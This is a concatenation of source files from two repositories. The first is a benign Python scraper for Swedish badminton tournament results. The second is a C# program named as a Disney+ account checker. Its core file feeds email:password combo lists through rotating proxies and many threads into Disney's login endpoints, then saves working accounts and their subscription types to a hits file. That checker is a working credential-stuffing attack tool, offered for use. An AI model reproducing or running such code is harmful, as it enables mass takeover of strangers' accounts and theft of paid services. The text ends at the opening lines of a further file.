mocks.append(get_match_mock(
scheduled_time=maya.parse('2018-04-28 12:00'),
team1_players=[
get_player_mock(name='<NAME>'),
],
team2_players=[
get_player_mock(name='<NAME>'),
],
team1_seed='1',
team2_seed='',
score=get_score_mock(sets=[(21, 12), (21, 15)]),
is_played=True
))
assert_mocks_equals_objects(mocks, to_test)
def test_get_all_matches_non_played(self, mocker):
def side_effect(value):
expected_url = 'http://badmintonsweden.tournamentsoftware.com/sport/matches.aspx?id=55DA6622-FF9B-4E89-ADC4-13FCF07A839C&d=20180505' # NOQA
if value == expected_url:
mock_path = 'tests/unit_tests/mocks/tournament/' \
'non_played_matches.html'
return ResponseMock(mock_path)
else:
raise Exception('Invalid URL: {value}, expected: '
'{expected}'.format(value=value,
expected=expected_url))
mocker.patch(
'requests.get',
side_effect=side_effect
)
tournament = self.get_example_tournament(
name='Advania Spåret Open Ungdom 2018',
url='http://badmintonsweden.tournamentsoftware.com/sport/tournament.aspx?id=55DA6622-FF9B-4E89-ADC4-13FCF07A839C', # NOQA
start_date=maya.parse('2018-05-05'),
end_date=maya.parse('2018-05-05'),
)
matches = tournament.get_all_matches()
mocks = []
to_test = []
# men singles
to_test.append(matches[0])
mocks.append(get_match_mock(
scheduled_time=maya.parse('2018-05-05 9:00'),
team1_players=[get_player_mock(name='<NAME>')],
team2_players=[get_player_mock(name='<NAME>')],
team1_seed='',
team2_seed='',
score=get_score_mock(sets=[]),
is_played=False
))
assert_mocks_equals_objects(mocks, to_test)
def test_get_all_matches_international(self, mocker):
mocker.patch(
'requests.get',
return_value=ResponseMock(
'tests/unit_tests/mocks/tournament/international.html')
)
tournament = self.get_example_tournament(
name='Gothenburg Open 2018',
url='http://badmintonsweden.tournamentsoftware.com/sport/tournament.aspx?id=55DA6622-FF9B-4E89-ADC4-13FCF07A839C', # NOQA
start_date=maya.parse('2018-05-11'),
end_date=maya.parse('2018-05-13'),
)
matches = tournament.get_all_matches()
mocks = []
to_test = []
# men singles
to_test.append(matches[0])
mocks.append(get_match_mock(
scheduled_time=maya.parse('2018-05-11 12:00'),
team1_players=[get_player_mock(name='<NAME>'),
get_player_mock(name='<NAME>')],
team2_players=[get_player_mock(name='<NAME>'),
get_player_mock(name='<NAME>')],
team1_seed='',
team2_seed='',
score=get_score_mock(sets=[]),
is_played=False
))
to_test.append(matches[2])
mocks.append(get_match_mock(
scheduled_time=maya.parse('2018-05-11 12:00'),
team1_players=[get_player_mock(name='<NAME>'),
get_player_mock(name='<NAME>')],
team2_players=[get_player_mock(name='<NAME>'),
get_player_mock(name='<NAME>')],
team1_seed='',
team2_seed='',
score=get_score_mock(sets=[]),
is_played=False
))
assert_mocks_equals_objects(mocks, to_test)
<file_sep># imports
from badmintonswedenapi.search import search_player
import pytest
# tests
@pytest.mark.parametrize('query', [
'Oliver',
'Jacob',
'Sara'
])
def test_player_pursual(query):
players = search_player(query)
player = players[0]
non_played_tournaments = player.get_non_played_tournaments()
assert non_played_tournaments is not None
<file_sep># imports
from .utils import get_soup
from .match import Score
from .match import Match
import logging
import configparser
from datetime import timedelta
import maya
# setup
logger = logging.getLogger('badmintonswedenapi')
config = configparser.ConfigParser()
config.read('config.ini')
# classes
class Tournament(object):
def __init__(self, name=None, url=None, start_date=None, end_date=None):
self.name = name
self.url = url
self.start_date = start_date
self.end_date = end_date
def get_all_matches(self):
from .player import Player
def get_match_page_urls():
def get_day_dates_between(d1, d2):
delta = d2 - d1
dates_between = []
for i in range(delta.days + 1):
dates_between.append(d1 + timedelta(days=i))
return dates_between
dates_between = get_day_dates_between(
self.start_date.date,
self.end_date.date
)
urls = []
for date in dates_between:
url = '{url}&{date_url_query}={date_without_hyphen}'.format(
url=self.url.replace('tournament.aspx', 'matches.aspx'),
date_url_query=config['url_querys']['match_page_date'],
date_without_hyphen=str(date).replace('-', '')
)
urls.append(url)
dates_between = [maya.parse(str(d))
for d in dates_between]
return urls, dates_between
def get_match_tags(soup):
tr_tags = soup.findAll('tr')
match_tags = []
for tag in tr_tags:
if len(tag.findAll('td', {'align': 'center'})) == 1:
match_tags.append(tag)
return match_tags
def get_match(match_tag, date):
def get_scheduled_time():
time_text = match_tag.findAll(
'td', {'class': 'plannedtime'})[0].text
scheduled_time = maya.parse('{date_str} {time_text}'.format(
date_str=str(date),
time_text=time_text
))
return scheduled_time
def get_players():
team1_players = []
team2_players = []
tr_tags = match_tag.findAll('tr')
for tag in tr_tags:
a_tags = tag.findAll('a')
for a_tag in a_tags:
text = a_tag.text.split(' [')[0]
if '[' not in text:
name = text
break
else:
continue
if '[' not in name:
player = Player(name=name)
if len(tag.findAll('td', {'align': 'right'})) == 1:
team1_players.append(player)
else:
team2_players.append(player)
return team1_players, team2_players
def get_seeds():
team1_seed = ''
team2_seed = ''
tr_tags = match_tag.findAll('tr')
for tag in tr_tags:
name_split = tag.a.text.split(' [')
if len(name_split) == 2:
seed = name_split[1].replace(']', '')
if len(tag.findAll('td', {'align': 'right'})) == 1:
team1_seed = seed
else:
team2_seed = seed
return team1_seed, team2_seed
def get_score():
set_spans = match_tag.findAll(
'span', {'class': 'score'})
if len(set_spans) == 0:
return Score(sets=[], is_walkover=False)
else:
set_spans = set_spans[0].findAll('span')
sets = []
is_walkover = len(set_spans) == 0
for span in set_spans:
text = span.text
if any([c not in '1234567890-'
for c in text]):
is_walkover = True
else:
team1_score, team2_score = text.split('-')
team1_score = int(team1_score)
team2_score = int(team2_score)
sets.append((team1_score, team2_score))
score = Score(
sets=sets,
is_walkover=is_walkover
)
return score
def get_is_played(score):
is_not_played = score.sets == [] and not score.is_walkover
return not is_not_played
scheduled_time = get_scheduled_time()
team1_players, team2_players = get_players()
team1_seed, team2_seed = get_seeds()
score = get_score()
is_played = get_is_played(score)
return Match(
scheduled_time=scheduled_time,
team1_players=team1_players,
team2_players=team2_players,
team1_seed=team1_seed,
team2_seed=team2_seed,
score=score,
is_played=is_played
)
logger.info('getting matches from tournament with name: {}'.format(
self.name))
urls, dates = get_match_page_urls()
matches = []
for url, date in zip(urls, dates):
soup = get_soup(url)
match_tags = get_match_tags(soup)
for tag in match_tags:
match = get_match(tag, date)
matches.append(match)
return matches
def __eq__(self, other):
if isinstance(self, other.__class__):
return self.__dict__ == other.__dict__
return False
def __repr__(self):
return self.name
<file_sep># imports
from badmintonswedenapi.search import search_player
import pytest
# tests
@pytest.mark.parametrize('query', [
'wqfgoqwdgdfgdfg',
'Åberg',
'<NAME>',
'<NAME>'
])
def test_search_player(query):
results = search_player(query)
assert results is not None
<file_sep># imports
from .utils import ResponseMock
from badmintonswedenapi.utils import get_soup
# tests
def test_get_soup(mocker):
mocker.patch(
'requests.get',
return_value=ResponseMock('tests/unit_tests/mocks/utils/github.html')
)
soup = get_soup('https://github.com/')
assert soup is not None
assert soup.findAll('label', {'for': 'user[email]'})[0].text == 'Email'
<file_sep># imports
from badmintonswedenapi.tournament import Tournament
import pytest
import maya
# tests
@pytest.mark.parametrize('tournament', [
Tournament(
name='Gothenburg Open 2018',
url='http://badmintonsweden.tournamentsoftware.com/sport/tournament.aspx?id=F9DC3162-4A46-451C-AB0C-744F5D7CCD41', # NOQA
start_date=maya.parse('2018-05-11'),
end_date=maya.parse('2018-05-13'),
),
Tournament(
name='<NAME> 2018',
url='http://badmintonsweden.tournamentsoftware.com/sport/tournament.aspx?id=027CB692-2488-4C63-A1B6-10A6FF05B7C3', # NOQA
start_date=maya.parse('2018-04-28'),
end_date=maya.parse('2018-04-29'),
)
])
def test_get_all_matches(tournament):
results = tournament.get_all_matches()
assert results is not None
<file_sep># imports
import logging
import requests
from bs4 import BeautifulSoup
# setup
logger = logging.getLogger('badmintonswedenapi')
# functions
def get_soup(url):
logger.debug('getting soup from url: {}'.format(url))
html = requests.get(url).text
return BeautifulSoup(html, 'html.parser')
<file_sep>from setuptools import setup
setup(name='badmintonswedenapi', packages=['badmintonswedenapi'])
<file_sep># needed to avoid test name duplication
<file_sep># imports
from .utils import get_soup
import os
import logging
import configparser
import maya
# setup
logger = logging.getLogger('badmintonswedenapi')
config = configparser.ConfigParser()
config.read('config.ini')
# classes
class Player(object):
def __init__(self, name=None, url=None, iid=None):
self.name = name
self.url = url
self.iid = iid
def get_non_played_tournaments(self):
from .tournament import Tournament
def get_relevant_soups(current_year):
def get_tournaments_soup(year):
tournament_year_query = config['url_querys']['tournament_year']
year_query = '?{tournament_year_query}={year}'.format(
tournament_year_query=tournament_year_query,
year=year
)
tournaments_url = os.path.join(
self.url,
config['url_extensions']['player_tournaments'],
year_query
)
return get_soup(tournaments_url)
def get_tournament_years(soup):
tournament_tabs = soup.findAll(
'ul', {'id': 'tabs_tournaments'})[0]
tabs = tournament_tabs.findAll(
'li', {'class': 'page-nav__item js-page-nav__item'})
years = []
for tab in tabs:
year_text = tab.a.text
if year_text != 'Äldre':
year = int(year_text)
years.append(year)
return years
soups = {
current_year: get_tournaments_soup(current_year)
}
tournament_years = get_tournament_years(soups[current_year])
for year in tournament_years:
if year > current_year:
soup = get_tournaments_soup(year)
soups[year] = soup
return soups.values()
def get_tournaments(soup):
tournament_divs = soup.findAll(
'div', {'class': 'media media--padded has-icons-on-hover'})
tournaments = []
for div in tournament_divs:
name = div.h4.a.text
extension = div.a['href']
url = config['urls']['main'] + extension[1:]
time_tags = div.findAll('time')
if len(time_tags) == 0:
continue
start_date = maya.parse(time_tags[0].text)
if len(time_tags) == 1:
end_date = start_date
else:
end_date = maya.parse(time_tags[1].text)
tournament = Tournament(
name=name,
url=url,
start_date=start_date,
end_date=end_date
)
tournaments.append(tournament)
return tournaments
def extract_non_played_tournaments(tournaments):
def is_non_played(tournament):
return tournament.start_date >= current_date
non_played_tournaments = []
for tournament in tournaments:
if is_non_played(tournament):
non_played_tournaments.append(tournament)
return non_played_tournaments
logger.info('getting non played tournaments from '
'player with url: {}'.format(self.url))
current_date = maya.now()
current_year = current_date.year
relevant_soups = get_relevant_soups(current_year)
all_non_played_tournaments = []
for soup in relevant_soups:
tournaments = get_tournaments(soup)
non_played_tournaments = extract_non_played_tournaments(
tournaments)
all_non_played_tournaments.extend(non_played_tournaments)
all_non_played_tournaments = sorted(all_non_played_tournaments,
key=lambda x: x.start_date,
reverse=True)
return all_non_played_tournaments
def __eq__(self, other):
if isinstance(self, other.__class__):
return self.__dict__ == other.__dict__
return False
def __repr__(self):
return self.name
<file_sep># imports
from .utils import get_player_mock
from .utils import get_score_mock
from badmintonswedenapi.match import Score
from badmintonswedenapi.match import Match
import pytest
import maya
# tests
class TestScore(object):
@pytest.mark.parametrize('score_data', [
{
'sets': [
(11, 21),
(11, 21)
]
},
{
'sets': [],
'is_walkover': True
}
])
def test_init(self, score_data):
score = Score(**score_data)
assert score.sets is not None
assert score.is_walkover is not None
class TestMatch(object):
def get_example_match(
self,
scheduled_time=maya.parse('2018-04-28 9:00'),
team1_players=[
get_player_mock()
],
team2_players=[
get_player_mock()
],
team1_seed='1',
team2_seed='3/4',
score=get_score_mock(),
is_played=True
):
match = Match(
scheduled_time=scheduled_time,
team1_players=team1_players,
team2_players=team2_players,
team1_seed=team1_seed,
team2_seed=team2_seed,
score=score,
is_played=is_played
)
return match
<file_sep>[[source]]
url = "https://pypi.python.org/simple"
verify_ssl = true
name = "pypi"
[packages]
requests = "*"
pytest = "*"
"beautifulsoup4" = "*"
ipython = "*"
ipdb = "*"
pytest-mock = "*"
maya = "*"
mock = "*"
[dev-packages]
[requires]
python_version = "3.6"
<file_sep># imports
from badmintonswedenapi.player import Player
from badmintonswedenapi.match import Score
from badmintonswedenapi.match import Match
from badmintonswedenapi.tournament import Tournament
from mock import MagicMock
from collections import Iterable
import maya
# helpers
def assert_mocks_equals_objects(mocks, reals):
'''Perceive this as a black box :P'''
def elongate(inp):
def flatten(items):
for x in items:
if isinstance(x, Iterable) and not isinstance(x, (str, bytes)):
yield from flatten(x)
else:
yield x
if type(inp) is list:
inp = list(flatten(inp))
else:
inp = [inp]
return inp
if mocks is None and reals is None:
return
if mocks is None and reals is not None:
return
if mocks is not None and reals is None:
return
assert len(mocks) == len(reals)
for mock, real in zip(mocks, reals):
mock = elongate(mock)
real = elongate(real)
for mock_item, real_item in zip(mock, real):
for key in real_item.__dict__.keys():
mock_values = mock_item.__dict__[key]
real_values = real_item.__dict__[key]
mock_values = elongate(mock_values)
real_values = elongate(real_values)
if any([hasattr(v, '__dict__') for v in mock_values]):
assert_mocks_equals_objects(mock_values, real_values)
else:
for mock_value, real_value in zip(mock_values,
real_values):
assert mock_value == real_value
def _param_or_own(param, own):
if param is None:
return own
else:
return param
# mocks
def get_score_mock(
sets=[
(11, 21),
(11, 21)
],
is_walkover=False
):
score = MagicMock(spec=Score)
score.sets = sets
score.is_walkover = is_walkover
return score
def get_tournament_mock(
name=None,
url=None,
start_date=None,
end_date=None,
):
tournament = MagicMock(spec=Tournament)
tournament.name = _param_or_own(name, '<NAME> SGP 2018')
tournament.url = _param_or_own(url, 'http://badmintonsweden.tournamentsoftware.com/sport/tournament.aspx?id=889C8871-C659-4B7E-A630-325459E4EA87') # NOQA
tournament.start_date = _param_or_own(start_date, maya.parse('2018-04-28'))
tournament.end_date = _param_or_own(end_date, maya.parse('2018-04-29'))
return tournament
def get_player_mock(
name=None,
url=None,
iid=None,
):
player = MagicMock(spec=Player)
player.name = _param_or_own(name, '<NAME>')
# player.url = _param_or_own(url, 'http://badmintonsweden.tournamentsoftware.com/player/3C3E88CA-FA0B-43B0-81E3-C5A8BC84F0EF/IID01442289/home') # NOQA
player.url = _param_or_own(url, None)
# player.iid = _param_or_own(iid, 'IID01442289')
player.iid = _param_or_own(iid, None)
return player
def get_match_mock(
scheduled_time=None,
team1_players=None,
team2_players=None,
team1_seed=None,
team2_seed=None,
score=None,
is_played=None
):
match = MagicMock(spec=Match)
match.scheduled_time = _param_or_own(
scheduled_time, maya.parse('2018-04-28 9:00'))
match.team1_players = _param_or_own(
team1_players, [get_player_mock()])
match.team2_players = _param_or_own(
team2_players, [get_player_mock()])
match.team1_seed = _param_or_own(team1_seed, '1')
match.team2_seed = _param_or_own(team2_seed, '3/4')
match.score = _param_or_own(score, get_score_mock())
match.is_played = _param_or_own(is_played, True)
return match
class ResponseMock(object):
def __init__(self, html_path):
html = self._get_html(html_path)
self.text = html
def _get_html(self, path):
with open(path, 'r') as f:
return f.read()
<file_sep># imports
from .utils import ResponseMock
from .utils import get_player_mock
from .utils import assert_mocks_equals_objects
from badmintonswedenapi.search import search_player
import pytest
# tests
@pytest.mark.parametrize('query, mock_path, expected_url, expected',
[
(
'<NAME>',
'tests/unit_tests/mocks/player_search/oliver.html',
'http://badmintonsweden.tournamentsoftware.com/find/player?q=<NAME>', # NOQA
[
get_player_mock(
name='<NAME>',
url='http://badmintonsweden.tournamentsoftware.com/player/3C3E88CA-FA0B-43B0-81E3-C5A8BC84F0EF/IID00792657/', # NOQA
iid='IID00792657'
)
]
),
(
'<NAME>',
'tests/unit_tests/mocks/player_search/teodor.html',
'http://badmintonsweden.tournamentsoftware.com/find/player?q=<NAME>', # NOQA
[
get_player_mock(
name='<NAME>',
url='http://badmintonsweden.tournamentsoftware.com/player/3C3E88CA-FA0B-43B0-81E3-C5A8BC84F0EF/IID01442289/', # NOQA
iid='IID01442289'
)
]
),
(
't',
'tests/unit_tests/mocks/player_search/teodor.html',
'http://badmintonsweden.tournamentsoftware.com/find/player?q=t', # NOQA
None # when query is shorter than 2 characters it should return None
)
])
def test_search_player(query, mock_path, expected_url, expected, mocker):
def side_effect(value):
if value == expected_url:
return ResponseMock(mock_path)
else:
raise Exception('Invalid URL: {value}, expected: '
'{expected_url}'.format(value=value,
expected=expected_url))
mocker.patch(
'requests.get',
side_effect=side_effect
)
results = search_player(query)
# assert assert_mocks_equals_objects(expected, results) is True
assert_mocks_equals_objects(expected, results)
<file_sep># imports
from .utils import ResponseMock
from .utils import get_tournament_mock
from .utils import assert_mocks_equals_objects
from badmintonswedenapi.player import Player
import pytest
import maya
# tests
class TestPlayer(object):
def test_init(self):
player = Player(
name='<NAME>',
url='http://badmintonsweden.tournamentsoftware.com/player/3C3E88CA-FA0B-43B0-81E3-C5A8BC84F0EF/IID00876487/', # NOQA
iid='IID00876487'
)
assert player.name is not None
assert player.url is not None
assert player.iid is not None
@pytest.mark.parametrize(
'player_data, date, mock_paths, expected_urls, expected',
[
(
{
'name': '<NAME>',
'url': 'http://badmintonsweden.tournamentsoftware.com/player/3C3E88CA-FA0B-43B0-81E3-C5A8BC84F0EF/IID01442289/', # NOQA
'iid': 'IID01442289'
},
maya.parse('2017-12-20'),
{
'http://badmintonsweden.tournamentsoftware.com/player/3C3E88CA-FA0B-43B0-81E3-C5A8BC84F0EF/IID01442289/tournaments/?Year=2018': 'tests/unit_tests/mocks/player/teodor/2018.html', # NOQA
'http://badmintonsweden.tournamentsoftware.com/player/3C3E88CA-FA0B-43B0-81E3-C5A8BC84F0EF/IID01442289/tournaments/?Year=2017': 'tests/unit_tests/mocks/player/teodor/2017.html', # NOQA
},
[
'http://badmintonsweden.tournamentsoftware.com/player/3C3E88CA-FA0B-43B0-81E3-C5A8BC84F0EF/IID01442289/tournaments/?Year=2018', # NOQA
'http://badmintonsweden.tournamentsoftware.com/player/3C3E88CA-FA0B-43B0-81E3-C5A8BC84F0EF/IID01442289/tournaments/?Year=2017', # NOQA
],
[
get_tournament_mock(
name='Gothenburg Open 2018',
start_date=maya.parse('2018-05-11'),
end_date=maya.parse('2018-05-13'),
url='http://badmintonsweden.tournamentsoftware.com/sport/tournament.aspx?id=F9DC3162-4A46-451C-AB0C-744F5D7CCD41' # NOQA
),
get_tournament_mock(
name='<NAME> 2018 Sollentuna',
start_date=maya.parse('2018-04-28'),
end_date=maya.parse('2018-04-29'),
url='http://badmintonsweden.tournamentsoftware.com/sport/tournament.aspx?id=433363A4-9D60-4FBA-B86E-F9B9CAE0D6CB' # NOQA
),
get_tournament_mock(
name='Botkyrkaslaget 2018',
start_date=maya.parse('2018-04-14'),
end_date=maya.parse('2018-04-15'),
url='http://badmintonsweden.tournamentsoftware.com/sport/tournament.aspx?id=A32AD161-7740-4402-AE5B-3E320A891FBF' # NOQA
),
get_tournament_mock(
name='Skogås Open 2018',
start_date=maya.parse('2018-03-24'),
end_date=maya.parse('2018-03-25'),
url='http://badmintonsweden.tournamentsoftware.com/sport/tournament.aspx?id=E69D9AD0-0C58-487C-AC40-C221F22910F9' # NOQA
),
get_tournament_mock(
name='SM U17 2018',
start_date=maya.parse('2018-03-16'),
end_date=maya.parse('2018-03-18'),
url='http://badmintonsweden.tournamentsoftware.com/sport/tournament.aspx?id=80EF0E31-B0B6-4EE5-BEC6-41887882AE4A' # NOQA
),
get_tournament_mock(
name='Storslaget 2018',
start_date=maya.parse('2018-02-03'),
end_date=maya.parse('2018-02-04'),
url='http://badmintonsweden.tournamentsoftware.com/sport/tournament.aspx?id=503A08AA-7738-4D37-ADD8-7BAF09000989' # NOQA
),
get_tournament_mock(
name='Elon InfraCity Open',
start_date=maya.parse('2018-01-27'),
end_date=maya.parse('2018-01-28'),
url='http://badmintonsweden.tournamentsoftware.com/sport/tournament.aspx?id=0573D6D2-5EF0-4E28-86EE-E9DD589F7F71' # NOQA
),
get_tournament_mock(
name='SJT U17 + Elit U19 Borlänge 2018',
start_date=maya.parse('2018-01-13'),
end_date=maya.parse('2018-01-14'),
url='http://badmintonsweden.tournamentsoftware.com/sport/tournament.aspx?id=5F9895B4-5DE4-4F32-9CE7-E726F3F39E64' # NOQA
)
]
),
(
{
'name': '<NAME>',
'url': 'http://badmintonsweden.tournamentsoftware.com/player/3C3E88CA-FA0B-43B0-81E3-C5A8BC84F0EF/IID00876487/', # NOQA
'iid': 'IID00876487'
},
maya.parse('2018-04-28'),
{
'http://badmintonsweden.tournamentsoftware.com/player/3C3E88CA-FA0B-43B0-81E3-C5A8BC84F0EF/IID00876487/tournaments/?Year=2018': 'tests/unit_tests/mocks/player/filip/2018.html' # NOQA
},
[
'http://badmintonsweden.tournamentsoftware.com/player/3C3E88CA-FA0B-43B0-81E3-C5A8BC84F0EF/IID00876487/tournaments/?Year=2018', # NOQA
],
[
get_tournament_mock(
name='Yonex Askim SGP 2018',
start_date=maya.parse('2018-04-28'),
end_date=maya.parse('2018-04-29'),
url='http://badmintonsweden.tournamentsoftware.com/sport/tournament.aspx?id=889C8871-C659-4B7E-A630-325459E4EA87' # NOQA
)
]
)
]
)
def test_get_non_played_tournaments(self, player_data, date, mock_paths,
expected_urls, expected, mocker):
def side_effect(value):
if value in expected_urls:
return ResponseMock(mock_paths[value])
else:
raise Exception('Invalid URL: {value}, expected: '
'{expected}'.format(value=value,
expected=expected_urls))
mocker.patch(
'maya.now',
return_value=date
)
mocker.patch(
'requests.get',
side_effect=side_effect
)
player = Player(**player_data)
results = player.get_non_played_tournaments()
# assert assert_mocks_equals_objects(expected, results) is True
assert_mocks_equals_objects(expected, results)
|
7bdd7bef43da41af957c8e00bf579ade50675720
|
[
"TOML",
"INI",
"Python",
"Shell"
] | 21
|
Shell
|
OliverEdholm/BadmintonSwedenAPI
|
9a9d38241dd3c150455fb329c42aae7235b2197d
|
fe6f7957394354af76306c187c298ea615aec0cb
|
refs/heads/master
|
<repo_name>MehmetA46/Disney_Plus_checker<file_sep>/LogoPrint.cs
using System;
using Colorful;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Drawing;
namespace Disney_
{
class LogoPrint
{
public static void print()
{
foreach (string text in new List<string>
{
"\n",
" ____ _ ",
" | _ \\(_)___ _ __ ___ _ _ _ ",
" | | | | / __| '_ \\ / _ \\ | | |_| |_ ",
" | |_| | \\__ \\ | | | __/ |_| |_ _|",
" |____/|_|___/_| |_|\\___|\\__, | |_| ",
" |___/ "
})
{
Colorful.Console.WriteLine(string.Format("{0," + (Colorful.Console.WindowWidth / 2 + text.Length / 2) + "}", text));
}
Colorful.Console.WriteLine();
Colorful.Console.WriteLine(string.Format("{0, " + (Colorful.Console.WindowWidth / 2 + " [Version 1.0] ".Length / 2) + "}", " [Version 1.0] "));
Colorful.Console.WriteLine();
Colorful.Console.WriteLine();
}
}
}
<file_sep>/important.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Leaf.xNet;
using Colorful;
using System.Windows;
using System.Collections.Concurrent;
using System.IO;
using System.Net;
using System.Threading;
using System.Text.RegularExpressions;
namespace Disney_
{
internal class important
{
public important(ConcurrentQueue<string> concurrentQueue_1, List<string> list_1, string string_4)
{
this.concurrentQueue_0 = concurrentQueue_1;
this.list_0 = list_1;
this.int_5 = this.concurrentQueue_0.Count;
this.string_0 = string_4;
this.string_1 = Directory.GetCurrentDirectory();
this.string_2 = this.string_1 + "\\Results\\" + DateTime.Now.ToString("MM-dd-yyyy H.mm");
this.string_3 = this.string_2 + "\\Hits.txt";
}
public void method_0()
{
if (!Directory.Exists("Results"))
{
Directory.CreateDirectory("Results");
}
if (!Directory.Exists(this.string_2))
{
Directory.CreateDirectory(this.string_2);
}
if (!File.Exists(this.string_3))
{
File.Create(this.string_3).Close();
}
}
private void method_1(string string_4)
{
try
{
object obj = important.object_0;
lock (obj)
{
using (FileStream fileStream = File.Open(this.string_3, FileMode.Append))
{
using (StreamWriter streamWriter = new StreamWriter(fileStream))
{
streamWriter.WriteLine(string_4);
}
}
}
}
catch (Exception value)
{
Colorful.Console.WriteLine(value);
}
}
private void method_2()
{
while (!this.concurrentQueue_0.IsEmpty)
{
string text;
this.concurrentQueue_0.TryDequeue(out text);
string[] array = text.Split(new char[]
{
':'
});
for (; ; )
{
HttpRequest httpRequest = new HttpRequest
{
KeepAliveTimeout = 5000,
ConnectTimeout = 5000,
ReadWriteTimeout = 5000,
IgnoreProtocolErrors = true,
AllowAutoRedirect = false,
Proxy = null,
KeepAlive = true,
UseCookies = true
};
httpRequest.UserAgentRandomize();
if (httpRequest.Proxy == null)
{
goto IL_389;
}
IL_2B:
try
{
httpRequest.AddHeader("authorization", "Bearer <KEY>");
string text2 = httpRequest.Post("https://global.edge.bamgrid.com/devices", "{\"deviceFamily\":\"browser\",\"applicationRuntime\":\"chrome\",\"deviceProfile\":\"windows\",\"attributes\":{}}", "application/json").ToString();
if (!text2.Contains("assertion"))
{
this.int_2++;
httpRequest.Proxy = null;
continue;
}
string value = Regex.Match(text2, "assertion\":\"(.+?)\"").Groups[1].Value;
httpRequest.AddHeader("authorization", "Bearer <KEY>");
text2 = httpRequest.Post("https://global.edge.bamgrid.com/token", "grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Atoken-exchange&latitude=0&longitude=0&platform=browser&subject_token=" + value + "&subject_token_type=urn%3Abamtech%3Aparams%3Aoauth%3Atoken-type%3Adevice", "application/x-www-form-urlencoded").ToString();
if (!text2.Contains("access_token"))
{
this.int_2++;
httpRequest.Proxy = null;
continue;
}
string value2 = Regex.Match(text2, "access_token\":\"(.+?)\"").Groups[1].Value;
httpRequest.AddHeader("authorization", "Bearer " + value2);
text2 = httpRequest.Post("https://global.edge.bamgrid.com/idp/login", string.Concat(new string[]
{
"{\"email\":\"",
array[0],
"\",\"password\":\"",
array[1],
"\"}"
}), "application/json").ToString();
if (text2.Contains("bad-credentials") || text2.Contains("is not a valid email Address at /email"))
{
this.int_1++;
class3.int_0++;
break;
}
if (!text2.Contains("Bearer"))
{
this.int_2++;
httpRequest.Proxy = null;
continue;
}
string value3 = Regex.Match(text2, "id_token\":\"(.+?)\"").Groups[1].Value;
httpRequest.AddHeader("authorization", "Bearer " + value2);
text2 = httpRequest.Post("https://global.edge.bamgrid.com/accounts/grant", "{\"id_token\":\"" + value3 + "\"}", "application/json").ToString();
value = Regex.Match(text2, "assertion\":\"(.+?)\"").Groups[1].Value;
httpRequest.AddHeader("authorization", "Bearer <KEY>");
text2 = httpRequest.Post("https://global.edge.bamgrid.com/token", "grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Atoken-exchange&latitude=0&longitude=0&platform=browser&subject_token=" + value + "&subject_token_type=urn%3Abamtech%3Aparams%3Aoauth%3Atoken-type%3Aaccount", "application/x-www-form-urlencoded").ToString();
value2 = Regex.Match(text2, "access_token\":\"(.+?)\"").Groups[1].Value;
httpRequest.AddHeader("authorization", "Bearer " + value2);
text2 = httpRequest.Get("https://global.edge.bamgrid.com/subscriptions", null).ToString();
if (text2.Contains("name"))
{
string value4 = Regex.Match(text2, "name\":\"(.+?)\"").Groups[1].Value;
this.method_1(text + " | " + value4);
Colorful.Console.WriteLine(text + " | " + value4, class3.color_0);
this.int_0++;
class3.int_0++;
break;
}
this.int_3++;
class3.int_0++;
break;
}
catch
{
this.int_2++;
httpRequest.Proxy = null;
continue;
}
IL_389:
if (this.string_0 == "1")
{
httpRequest.Proxy = HttpProxyClient.Parse(this.list_0[this.random_0.Next(this.list_0.Count)]);
goto IL_2B;
}
if (this.string_0 == "2")
{
httpRequest.Proxy = Socks4ProxyClient.Parse(this.list_0[this.random_0.Next(this.list_0.Count)]);
goto IL_2B;
}
httpRequest.Proxy = Socks5ProxyClient.Parse(this.list_0[this.random_0.Next(this.list_0.Count)]);
goto IL_2B;
}
}
Colorful.Console.ReadKey();
}
public void method_3(int int_7)
{
ServicePointManager.DefaultConnectionLimit = int_7 * 10;
ServicePointManager.Expect100Continue = false;
for (int i = 0; i < int_7; i++)
{
new Thread(new ThreadStart(this.method_2)).Start();
}
}
public void method_4()
{
Task.Factory.StartNew(new Action(this.method_7));
}
public long method_5()
{
long num = 0L;
foreach (KeyValuePair<long, long> keyValuePair in important.concurrentDictionary_0)
{
if (keyValuePair.Key >= DateTimeOffset.Now.ToUnixTimeSeconds() - 60L)
{
num += keyValuePair.Value;
}
}
return num;
}
public void method_6()
{
Task.Factory.StartNew(new Action(important.Class2.class2_0.method_0));
}
private void method_7()
{
for (; ; )
{
this.int_6 = this.int_0 + this.int_1 + this.int_3;
Colorful.Console.Title = string.Format("DisneyPlus {0}/{1} | Hits {2} - Frees {3} - Invalids {4} - Retries {5} - Errors {6} - Cpm {7}", new object[]
{
this.int_6,
this.int_5,
this.int_0,
this.int_3,
this.int_1,
this.int_2,
this.int_4,
this.method_5()
});
Thread.Sleep(500);
}
}
// Token: 0x04000008 RID: 8
private int int_0;
// Token: 0x04000009 RID: 9
private int int_1;
// Token: 0x0400000A RID: 10
private int int_2;
// Token: 0x0400000B RID: 11
private int int_3;
// Token: 0x0400000C RID: 12
private int int_4;
// Token: 0x0400000D RID: 13
private int int_5;
// Token: 0x0400000E RID: 14
private int int_6;
// Token: 0x0400000F RID: 15
private string string_0;
// Token: 0x04000010 RID: 16
private Random random_0 = new Random();
// Token: 0x04000011 RID: 17
private ConcurrentQueue<string> concurrentQueue_0 = new ConcurrentQueue<string>();
// Token: 0x04000012 RID: 18
private List<string> list_0 = new List<string>();
// Token: 0x04000013 RID: 19
private static readonly ConcurrentDictionary<long, long> concurrentDictionary_0 = new ConcurrentDictionary<long, long>();
// Token: 0x04000014 RID: 20
private static readonly object object_0 = new object();
// Token: 0x04000015 RID: 21
private string string_1;
// Token: 0x04000016 RID: 22
private string string_2;
// Token: 0x04000017 RID: 23
private string string_3;
[Serializable]
private sealed class Class2
{
// Token: 0x0600001D RID: 29 RVA: 0x0000309C File Offset: 0x0000129C
internal void method_0()
{
while (class3.bool_0)
{
important.concurrentDictionary_0.TryAdd(DateTimeOffset.Now.ToUnixTimeSeconds(), (long)class3.int_0);
class3.int_0 = 0;
Thread.Sleep(1000);
}
}
public static readonly important.Class2 class2_0 = new important.Class2();
// Token: 0x04000019 RID: 25
public static Action action_0;
}
}
}<file_sep>/InManager.cs
using System;
using System.Drawing;
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;
